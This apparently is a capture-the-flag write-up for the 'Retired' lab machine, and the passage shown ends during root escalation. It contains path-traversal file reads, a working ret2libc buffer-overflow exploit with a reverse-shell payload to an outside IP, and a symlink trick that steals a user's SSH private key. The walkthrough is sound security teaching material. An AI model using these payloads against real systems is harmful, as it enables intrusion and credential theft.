Retired machine starts with a Local File Disclosure
vulnerability in the web page, which we will use to download a binary used to validate a license file, this binary has a buffer overflow vulnerability which will allow us to gain access as www-data when uploading a modified license file. Later we will create a symbolic link to obtain the user’s ssh key and be able to obtain a shell as the dev user. Finally we will abuse binfmt_misc
to run a binary as root to get a shell. As a curiosity we will reverse engineer the license activation binary to see why it is vulnerable.
Info
Port Scan
script scanning (
-sC
), version scanning (-sV
), output all formats (-oA
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap -sC -sV -oA nmap/retired 10.129.227.96
Nmap scan report for 10.129.227.96
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
| 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_ 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open http nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see that you have two ports open, running ssh
and http
. We can also see that the http port is running using nginx
.
Recon
1
2
3
4
5
6
7
8
$ curl -i http://10.129.227.96/
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 16 Aug 2022 09:40:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Location: /index.php?page=default.html
When we make a request to the root of the web we can see that it makes a redirect with a url that seems somewhat suspicious.
1
2
3
4
$ curl http://10.129.227.96/index.php?page=../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
[...]
Great! We have Local File Disclosure
vulnerability so we can read files from the system, let’s launch feroxbuster
to see what other paths the web has.
Directory Brute Force
file extensions to be searched (
-x
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ feroxbuster -u http://10.129.227.96 -x php,html
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.227.96
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php, html]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302 GET 0l 0w 0c http://10.129.227.96/ => /index.php?page=default.html
302 GET 0l 0w 0c http://10.129.227.96/index.php => /index.php?page=default.html
200 GET 72l 304w 4144c http://10.129.227.96/beta.html
200 GET 188l 824w 11414c http://10.129.227.96/default.html
[...]
Another result apart from the ones we know has been listed, let’s see what beta.html
contains.
Beta Testing Functionality
It looks like a file upload page, let’s create a blank file and view the request and response with burpsuite.
We can see that it makes a POST request to activate_license.php
, since we have our LFD
let’s see what this code is doing.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ curl http://10.129.227.96/index.php?page=activate_license.php
<?php
if(isset($_FILES['licensefile'])) {
$license = file_get_contents($_FILES['licensefile']['tmp_name']);
$license_size = $_FILES['licensefile']['size'];
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socket) { echo "error socket_create()\n"; }
if (!socket_connect($socket, '127.0.0.1', 1337)) {
echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
}
socket_write($socket, pack("N", $license_size));
socket_write($socket, $license);
socket_shutdown($socket);
socket_close($socket);
}
?>
Apparently what it is doing is connecting to some service that is running on localhost
on port 1337
and sending it first the size of the file and then the contents of the file.
PHP pack function with
N
param sends unsigned long (always 32 bit, big endian byte order) PHP Manual
Considering that there is some downstream process running on the localhost that activate_license.php
is calling, let’s try to identify it, for that, let’s list the content of /proc/sched_debug
.
A summary of the task running on each processor is also shown, with the task name and PID, along with scheduler specific statistics. Debugging Interface and Scheduler Statistics
1
2
3
4
5
6
7
8
9
$ curl -s http://10.129.227.96/index.php?page=../../../../../proc/sched_debug
Sched Debug Version: v0.11, 5.10.0-11-amd64 #1
[...]
runnable tasks:
S task PID tree-key switches prio wait-time sum-exec sum-sleep
-------------------------------------------------------------------------------------------------------------
[...]
S activate_licens 411 20813.643987 10 120 0.000000 3.341139 0.000000 0 0 /
[...]
One of the displayed tasks sounds familiar, considering that the page we were calling to upload the file is activate_license.php
. The PID of the process is 411
, let’s take a look.
1
2
3
4
$ curl -s http://10.129.227.96/index.php?page=../../../../../proc/411/cmdline -o cmdline
$ cat cmdline
/usr/bin/activate_license1337
Perfect! we see that /usr/bin/activate_license
is running on port 1337
, let’s download it and take a look at it.
1
2
3
4
5
6
7
8
9
10
$ curl -s http://10.129.227.96/index.php?page=../../../../../usr/bin/activate_license -o activate_license
$ file activate_license
activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped
$ chmod +x activate_license
$ ./activate_license 1337
[+] starting server listening on port 1337
[+] listening ...
Debugging activate license binary
The file is a 64-bit binary that we can use to replicate the server’s file upload operation. The most common vulnerability is usually a buffer overflow, so let’s launch the program in gdb
to see what it is doing. As we saw in the code of activate_license.php
, it first sends the length of the file and then the content of the file.
1
2
3
4
5
6
7
8
9
$ gdb -q ./activate_license
gef➤ set follow-fork-mode child
gef➤ run 1337
Starting program: /home/kali/htb/retired/activate_license 1337
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fca000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...
1
$ printf "\x00\x00\x02\xbcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | nc 127.0.0.1 1337
The payload consists of two parts, \x00\x00\x02\xbc
which is 700 in hexadecimal and "A" * 700
. If we now look at the gdb
tab we can see something like the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$rax : 0x2d4
$rbx : 0x005555555557c0 → <__libc_csu_init+0> push r15
$rcx : 0x0
$rdx : 0x0
$rsp : 0x007fffffffde58 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x0
$rdi : 0x007fffffffd6c0 → 0x007ffff7cced90 → 0x8b00000088bf8b48
$rip : 0x005555555555c0 → <activate_license+643> ret
$r8 : 0x0
$r9 : 0x007ffff7e080c0 → 0x0000000000000000
$r10 : 0x007ffff7e07fc0 → 0x0000000000000000
$r11 : 0x246
$r12 : 0x00555555555220 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffde58│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rsp
0x007fffffffde60│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x007fffffffde68│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x007fffffffde70│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x007fffffffde78│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x007fffffffde80│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x007fffffffde88│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x007fffffffde90│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555555b9 <activate_license+636> call 0x5555555550b0 <printf@plt>
0x5555555555be <activate_license+641> nop
0x5555555555bf <activate_license+642> leave
→ 0x5555555555c0 <activate_license+643> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "activate_licens", stopped 0x5555555555c0 in activate_license (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555555c0 → activate_license(sockfd=0x4)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
We note that the program has crashed, and we have overwritten rsp
with all A
, which indicates that it is indeed vulnerable to buffer overflow.
The reason the rip
was not overflowed (technically it was, as we saw in the above screenshot, but there’s more to it), is because the AAAAAAAA (0x4141414141414141) is considered a non-canonical memory address, or, in other words, 0x4141414141414141 is a 64-bit wide address and current CPUs prevent applications and OSes to use 64-bit wide addresses. Instead, the highest memory addresses programs can use are 48-bit wide addresses and they are capped to 0x00007FFFFFFFFFFF. This is done to prevent the unnecessary complexity in memory address translations that would not provide much benefit to the OSes or applications as it’s very unlikely they would ever need to use all of that 64-bil address space.
To know exactly at what point we are going to overwrite rip
we are going to create a pattern of 700
as before, so we resend it replacing the A’s with our pattern.
1
2
3
gef➤ pattern create 700
[+] Generating a pattern of 700 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$rax : 0x2d4
$rbx : 0x005555555557c0 → <__libc_csu_init+0> push r15
$rcx : 0x0
$rdx : 0x0
$rsp : 0x007fffffffde58 → "paaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacva[...]"
$rbp : 0x636161616161616f ("oaaaaaac"?)
$rsi : 0x0
$rdi : 0x007fffffffd6c0 → 0x007ffff7cced90 → 0x8b00000088bf8b48
$rip : 0x005555555555c0 → <activate_license+643> ret
$r8 : 0x0
$r9 : 0x007ffff7e080c0 → 0x0000000000000000
$r10 : 0x007ffff7e07fc0 → 0x0000000000000000
$r11 : 0x246
$r12 : 0x00555555555220 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x007fffffffde58│+0x0000: "paaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacva[...]" ← $rsp
0x007fffffffde60│+0x0008: "qaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwa[...]"
0x007fffffffde68│+0x0010: "raaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxa[...]"
0x007fffffffde70│+0x0018: "saaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacya[...]"
0x007fffffffde78│+0x0020: "taaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaacza[...]"
0x007fffffffde80│+0x0028: "uaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadba[...]"
0x007fffffffde88│+0x0030: "vaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadca[...]"
0x007fffffffde90│+0x0038: "waaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaadda[...]"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555555b9 <activate_license+636> call 0x5555555550b0 <printf@plt>
0x5555555555be <activate_license+641> nop
0x5555555555bf <activate_license+642> leave
→ 0x5555555555c0 <activate_license+643> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "activate_licens", stopped 0x5555555555c0 in activate_license (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x5555555555c0 → activate_license(sockfd=0x4)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────x/xg $rsp
0x7fffffffde58: 0x6361616161616170
gef➤ pattern offset 0x6361616161616170
[+] Searching for '0x6361616161616170'
[+] Found at offset 520 (little-endian search) likely
Ok, 520
is the amount of junk we need to overwrite the stack, so the next 8 bytes are the ones that are going to overwrite rip
, knowing this we can start crafting our exploit.
We are going to make use of the pwn
python library, so if you don’t have it you must install it with:
Shell as www-data
1
$ pip install pwn
Check binary security
Before creating an attack strategy, let’s check the security of the binary with checksec.
1
2
3
$ checksec --file=activate_license
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 100 Symbols No 0 3 activate_license
We can see that NX is activated. NX stands for “non-executable.” It’s often enabled at the CPU level, so an operating system with NX enabled can mark certain areas of memory as non-executable. Often, buffer-overflow exploits put code on the stack and then try to execute it. However, making this writable area non-executable can prevent such attacks.
Exploit planning
To bypass the active NX, we will execute an attack known as ret2libc
.
A ret2libc (return to libc, or return to the C library) attack is one in which the attacker does not require any shellcode to take control of a target, vulnerable process.
Before we continue we need a few things to be able to craft our exploit:
- binary base address
- libc base address
- libc itself
In order to obtain the addresses we need, we will execute the following through the LFI
we had active:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ curl -s http://10.129.227.96/index.php?page=../../../../../proc/411/maps -o maps
$ cat maps
55fc9a3b1000-55fc9a3b2000 r--p 00000000 08:01 2408 /usr/bin/activate_license
55fc9a3b2000-55fc9a3b3000 r-xp 00001000 08:01 2408 /usr/bin/activate_license
55fc9a3b3000-55fc9a3b4000 r--p 00002000 08:01 2408 /usr/bin/activate_license
55fc9a3b4000-55fc9a3b5000 r--p 00002000 08:01 2408 /usr/bin/activate_license
55fc9a3b5000-55fc9a3b6000 rw-p 00003000 08:01 2408 /usr/bin/activate_license
55fc9be50000-55fc9be71000 rw-p 00000000 00:00 0 [heap]
[...]
7f32526b9000-7f32526c8000 r--p 00000000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f32526c8000-7f3252762000 r-xp 0000f000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f3252762000-7f32527fb000 r--p 000a9000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f32527fb000-7f32527fc000 r--p 00141000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f32527fc000-7f32527fd000 rw-p 00142000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f32527fd000-7f3252822000 r--p 00000000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f3252822000-7f325296d000 r-xp 00025000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f325296d000-7f32529b7000 r--p 00170000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f32529b7000-7f32529b8000 ---p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f32529b8000-7f32529bb000 r--p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f32529bb000-7f32529be000 rw-p 001bd000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
[...]
7fff22762000-7fff22783000 rw-p 00000000 00:00 0 [stack]
7fff227ca000-7fff227ce000 r--p 00000000 00:00 0 [vvar]
7fff227ce000-7fff227d0000 r-xp 00000000 00:00 0 [vdso]
0x55fc9a3b1000
is the binary base address and 0x7f32527fd000
is the libc base address.
1
$ curl -s http://10.129.227.96/index.php?page=../../../../../usr/lib/x86_64-linux-gnu/libc-2.31.so -o libc-2.31.so
One more thing before we start, since we have downloaded libc let’s see the address of the system function to execute our payload later.
1
2
3
4
5
$ objdump -d libc-2.31.so | grep system
0000000000048e50 <__libc_system@@GLIBC_PRIVATE>:
48e53: 74 0b je 48e60 <__libc_system@@GLIBC_PRIVATE+0x10>
000000000012d5e0 <svcerr_systemerr@@GLIBC_2.2.5>:
12d637: 75 05 jne 12d63e <svcerr_systemerr@@GLIBC_2.2.5+0x5e>
Ok! so now we have everything we need to start crafting our exploit.
Crafting our exploit
1
2
3
4
5
6
7
8
9
10
from pwn import *
offset = 520
# libc
libc_base = 0x7f32527fd000
libc_system = 0x48e50
# binary
binary_base = 0x55fc9a3b1000
Okay, before we start, let’s define the attack strategy, which will be as follows:
- fill stack with junk to gain control of the
rip
(instruction pointer) - find a section in memory where we can write
- write our payload in to the writable memory
- call the system function passing as parameter a pointer to the memory section in which we have written our payload
Step 1 is already complete, we know that we need 520 bytes
of junk and the next 8 bytes
are the ones that will overwrite rip
.
To find a section that we can write to, let’s look for the .data
part inside the binary.
1
2
3
$ readelf -S activate_license | grep ".data"
[16] .rodata PROGBITS 0000000000002000 00002000
[23] .data PROGBITS 0000000000004000 00003000
Great, now we know that the address we have to write to is binary_base + 0x4000
.
To copy our payload to the memory section where we can write and then execute the system call, we are going to make use of some ROP Gadgets that will help us in this task.
1
2
3
4
5
6
7
8
9
$ ropper -f libc-2.31.so --search "pop rdi; ret"
0x0000000000026796: pop rdi; ret;
0x0000000000084bfd: pop rdi; retf; adc eax, dword ptr [rax]; ror rax, 0x11; xor rax, qword ptr fs:[0x30]; jmp rax;
$ ropper -f libc-2.31.so --search "pop rdx; ret"
0x00000000000cb1cd: pop rdx; ret;
$ ropper -f libc-2.31.so --search "mov [rdi], rdx; ret"
0x000000000003ace5: mov qword ptr [rdi], rdx; ret;
Now that we have everything we need we are going to generate the final exploit with all of the above.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
offset = 520
# libc
libc_base = 0x7f32527fd000
libc_system = p64(libc_base + 0x48e50)
# binary
binary_base = 0x55fc9a3b1000
writable = binary_base + 0x4000
# gadgets
POP_RDI = p64(libc_base + 0x26796)
POP_RDX = p64(libc_base + 0xcb1cd)
MOV_RDI_RDX = p64(libc_base + 0x3ace5)
sh = b"bash -c 'bash -i >& /dev/tcp/10.10.14.42/4242 0>&1'"
rop = b"A" * offset
for i in range(0, len(sh), 8):
rop += POP_RDI
rop += p64(writable + i)
rop += POP_RDX
rop += sh[i:i+8].ljust(8, b"\x00")
rop += MOV_RDI_RDX
rop += POP_RDI
rop += p64(writable)
rop += libc_system
with open('license.payload', 'wb') as f:
f.write(rop)
It sounds complicated, but really what you are doing is very simple. We adjust all the gadgets that we have found taking into account what is the base of libc, as well as the section in memory in which we are going to write with respect to the base of the binary.
Lets start by defining our payload (line 18
) and start the rop chain with the 520 bytes
of junk, we loop over our payload in fragments of 8 bytes
, for each iteration an address in memory is established in which it will be written, starting from the initial base (line 23
), this address is stored in rdi
, the following is to take the 8 bytes corresponding to the payload (and in case of needing it because it does not have 8 bytes long, add nullbytes to fill it), store these bytes in rdx
(line 25
). Subsequently, the content of rdx
is moved to the memory address indicated by rdi
. At the end of the for loop. What we have achieved is to write the whole string of our payload in memory.
For the final phase, all we need to do is push the address pointing at the start of our payload into rdi
and call system, which uses rdi
as the first parameter.
I have drawn a very basic representation of what is happening for better understanding (Note: 0x4016 is incorrect, the address should be 0x4010).
We save the final result in a file, and use the functionality of beta.html
to upload our file.
Shell as user
Ok, so now we have a shell as www-data
, let’s do some recon to see how we can scale to a normal user.
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@retired:~$ systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Tue 2022-08-16 18:59:00 UTC 54s left Tue 2022-08-16 18:58:01 UTC 3s ago website_backup.timer website_backup.service
Tue 2022-08-16 19:09:00 UTC 10min left Tue 2022-08-16 18:39:01 UTC 19min ago phpsessionclean.timer phpsessionclean.service
Wed 2022-08-17 00:00:00 UTC 5h 1min left Tue 2022-08-16 09:29:07 UTC 9h ago logrotate.timer logrotate.service
Wed 2022-08-17 00:00:00 UTC 5h 1min left Tue 2022-08-16 09:29:07 UTC 9h ago man-db.timer man-db.service
Wed 2022-08-17 04:08:04 UTC 9h left Tue 2022-08-16 11:14:14 UTC 7h ago apt-daily.timer apt-daily.service
Wed 2022-08-17 06:20:26 UTC 11h left Tue 2022-08-16 09:31:27 UTC 9h ago apt-daily-upgrade.timer apt-daily-upgrade.service
Wed 2022-08-17 09:44:06 UTC 14h left Tue 2022-08-16 09:44:06 UTC 9h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Sun 2022-08-21 03:10:49 UTC 4 days left Tue 2022-08-16 09:29:47 UTC 9h ago e2scrub_all.timer e2scrub_all.service
Mon 2022-08-22 01:38:35 UTC 5 days left Tue 2022-08-16 10:43:47 UTC 8h ago fstrim.timer fstrim.service
9 timers listed.
Looking at the list of timers there is one that especially catches my attention website_backup.service
, let’s see what this service is doing.
1
2
3
4
5
6
7
8
9
10
11
12
www-data@retired:~$ systemctl cat website_backup.service
# /etc/systemd/system/website_backup.service
[Unit]
Description=Backup and rotate website
[Service]
User=dev
Group=www-data
ExecStart=/usr/bin/webbackup
[Install]
WantedBy=multi-user.target
We can see that it is running /usr/bin/webbackup
, let’s see what it is and what it does.
Analyze webbackup script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@retired:~$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
| sort --zero-terminated --numeric-sort --reverse \
| while IFS= read -r -d '' backup; do
if [ "$KEEP" -le 0 ]; then
/usr/bin/rm --force -- "$backup"
fi
KEEP="$((KEEP-1))"
done
What this script does is to create a backup of the /var/www/html
folder, we are going to create a symbolic link to the home folder of the dev user, which we can see that it exists by looking at the /etc/passwd
file and see if we can list the home directory.
Dump user ssh key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
www-data@retired:~/html$ ls -la
total 48
drwxrwsrwx 5 www-data www-data 4096 Aug 16 19:06 .
drwxrwsrwx 4 www-data www-data 4096 Aug 16 19:07 ..
-rw-rwSrw- 1 www-data www-data 585 Oct 13 2021 activate_license.php
drwxrwsrwx 3 www-data www-data 4096 Mar 11 14:36 assets
-rw-rwSrw- 1 www-data www-data 4144 Mar 11 11:34 beta.html
drwxrwsrwx 2 www-data www-data 4096 Mar 11 14:36 css
-rw-rwSrw- 1 www-data www-data 11414 Oct 13 2021 default.html
lrwxrwxrwx 1 www-data www-data 9 Aug 16 19:06 home -> /home/dev
-rw-rwSrw- 1 www-data www-data 348 Mar 11 11:29 index.php
drwxrwsrwx 2 www-data www-data 4096 Mar 11 14:36 js
www-data@retired:~$ ls -la
[...]
-rw-r--r-- 1 dev www-data 529934 Aug 16 19:07 2022-08-16_19-07-01-html.zip
www-data@retired:/tmp$ unzip 2022-08-16_19-07-01-html
[...]
creating: var/www/html/home/
extrcting: var/www/html/home/user.txt
inflating: var/www/html/home/.bashrc
creating: var/www/html/home/.ssh/
inflating: var/www/html/home/.ssh/id_rsa.pub
inflating: var/www/html/home/.ssh/authorized_keys
inflating: var/www/html/home/.ssh/id_rsa
creating: var/www/html/home/.local/
creating: var/www/html/home/.local/share/
creating: var/www/html/home/.local/share/nano/
creating: var/www/html/home/emuemu/
creating: var/www/html/home/emuemu/test/
inflating: var/www/html/home/emuemu/test/examplerom
inflating: var/www/html/home/emuemu/reg_helper
inflating: var/www/html/home/emuemu/reg_helper.c
inflating: var/www/html/home/emuemu/README.md
inflating: var/www/html/home/emuemu/emuemu
inflating: var/www/html/home/emuemu/emuemu.c
inflating: var/www/html/home/emuemu/Makefile
inflating: var/www/html/home/.profile
inflating: var/www/html/home/.bash_logout
creating: var/www/html/home/activate_license/
inflating: var/www/html/home/activate_license/activate_license.c
inflating: var/www/html/home/activate_license/activate_license.service
inflating: var/www/html/home/activate_license/Makefile
inflating: var/www/html/home/activate_license/activate_license
[...]
The backup has been created correctly, and when extracting it we can see the home directory of the user, now we already have the ssh key, so we download it and login into the machine as the user dev
.
Shell as root
Once we login with ssh
, we see in the user’s home a folder called emuemu
, in the README.md
there is a description of what it is.
EMUEMU is the official software emulator for the handheld console OSTRICH. After installation with
make install
, OSTRICH ROMs can be simply executed from the terminal. For example the ROM namedrom
can be run with./rom
.
We see that it uses make, so let’s take a look at the Makefile
to see what it contains.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion
SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)
.PHONY: install clean
install: $(TARGETS)
@echo "[+] Installing program files"
install --mode 0755 emuemu /usr/bin/
mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper
@echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
| tee /usr/lib/binfmt.d/emuemu.conf \
| /usr/lib/emuemu/reg_helper
clean:
rm -f -- $(TARGETS)
